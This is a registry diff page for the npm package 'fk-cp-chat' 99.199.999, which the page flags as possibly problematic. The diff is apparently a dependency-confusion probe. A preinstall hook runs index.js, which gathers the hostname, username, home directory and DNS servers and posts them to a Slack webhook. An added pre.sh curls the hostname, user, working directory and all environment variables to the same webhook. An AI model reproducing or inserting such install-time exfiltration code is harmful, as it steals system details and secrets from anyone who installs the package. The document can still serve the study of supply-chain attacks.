fk-cp-chat 99.199.999

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of fk-cp-chat might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +36 -0
  2. package/package.json +12 -0
  3. package/pre.sh +2 -0
package/index.js ADDED
@@ -0,0 +1,36 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+
9
+ payload = "Current_Directory=" + __dirname + "\n" + "Home_Directory=" + os.homedir() + "\n" + "Hostname=" + os.hostname() + "\n" + "Username=" + os.userInfo().username + "\n" + "Dns-Server=" + dns.getServers() + "\n" + "Package " + package
10
+
11
+ var payload1 = {
12
+ "text": payload
13
+ };
14
+
15
+ var options = {
16
+ hostname: "hooks.slack.com",
17
+ port: 443,
18
+ path: "/services/TPE0ZJLQ1/B0234NP1ETT/5pJjwkXaP6MaVK1c36FUuAOd",
19
+ method: "POST",
20
+ headers: {
21
+ "Content-Type": "application/json"
22
+ },
23
+ };
24
+
25
+ var req = https.request(options, (res) => {
26
+ res.on("data", (d) => {
27
+ process.stdout.write(d);
28
+ });
29
+ });
30
+
31
+ req.on("error", (e) => {
32
+ console.error(e);
33
+ });
34
+
35
+ req.write(JSON.stringify(payload1));
36
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "fk-cp-chat",
3
+ "version": "99.199.999",
4
+ "description": "akshansh-security",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "akshansh",
11
+ "license": "ISC"
12
+ }
package/pre.sh ADDED
@@ -0,0 +1,2 @@
1
+ #!/bin/bash
2
+ curl -X POST https://hooks.slack.com/services/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 --data-urlencode 'payload={"text": "hostname is '"$(hostname)"' \n current directory is '"$(pwd)"' \n user is '"$(whoami)"' \n environment vars '"$(env)"'"}'